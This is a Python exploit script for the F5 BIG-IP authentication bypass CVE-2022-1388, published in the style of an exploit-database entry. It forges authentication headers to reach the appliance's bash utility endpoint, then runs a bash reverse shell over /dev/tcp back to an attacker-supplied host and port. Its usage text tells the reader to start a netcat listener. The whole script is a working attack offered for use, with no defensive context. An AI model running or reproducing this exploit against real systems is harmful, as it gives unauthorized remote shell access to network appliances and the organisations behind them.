F5 BIG-IP 16.0.x - Remote Code Execution (RCE)

# Exploit Title: F5 BIG-IP 16.0.x - Remote Code Execution (RCE)
# Exploit Author: Yesith Alvarez
# Vendor Homepage: https://www.f5.com/products/big-ip-services
# Version: 16.0.x
# CVE : CVE-2022-1388

from requests import Request, Session
import sys
import json



def title():
    print('''
    
   _______      ________    ___   ___ ___  ___       __ ____   ___   ___ 
  / ____\ \    / /  ____|  |__ \ / _ \__ \|__ \     /_ |___ \ / _ \ / _ \
 | |     \ \  / /| |__ ______ ) | | | | ) |  ) |_____| | __) | (_) | (_) |
 | |      \ \/ / |  __|______/ /| | | |/ /  / /______| ||__ < > _ < > _ <
 | |____   \  /  | |____    / /_| |_| / /_ / /_      | |___) | (_) | (_) |
  \_____|   \/   |______|  |____|\___/____|____|     |_|____/ \___/ \___/
                                                                          
                                                                                                                      
                                                                              
Author: Yesith Alvarez
Github: https://github.com/yealvarez
Linkedin: https://www.linkedin.com/in/pentester-ethicalhacker/
    ''')   

def exploit(url, lhost, lport):
    url = url + 'mgmt/tm/util/bash'
    data = {
        "command":"run",
        "utilCmdArgs":"-c 'bash -i >& /dev/tcp/"+lhost+"/"+lport+" 0>&1'"
        
    }
    headers = {
        'Authorization': 'Basic YWRtaW46',       
        'Connection':'keep-alive, X-F5-Auth-Token',
        'X-F5-Auth-Token': '0'

    }
    s = Session()
    req = Request('POST', url, json=data, headers=headers)
    prepped = req.prepare()
    del prepped.headers['Content-Type']
    resp = s.send(prepped,
        verify=False,
        timeout=15
    )
    #print(prepped.headers)
    #print(url)
    #print(resp.headers)
    #print(resp.json())
    print(resp.status_code)


if __name__ == '__main__':
    title()
    if(len(sys.argv) < 4):
        print('[+] USAGE: python3 %s https://<target_url> lhost lport\n'%(sys.argv[0]))
        print('[+] USAGE: python3 %s https://192.168.0.10 192.168.0.11 4444\n'%(sys.argv[0]))
        print('[+] Do not forget to run the listener: nc -lvp 4444\n')
        exit(0)
    else:
        exploit(sys.argv[1],sys.argv[2],sys.argv[3])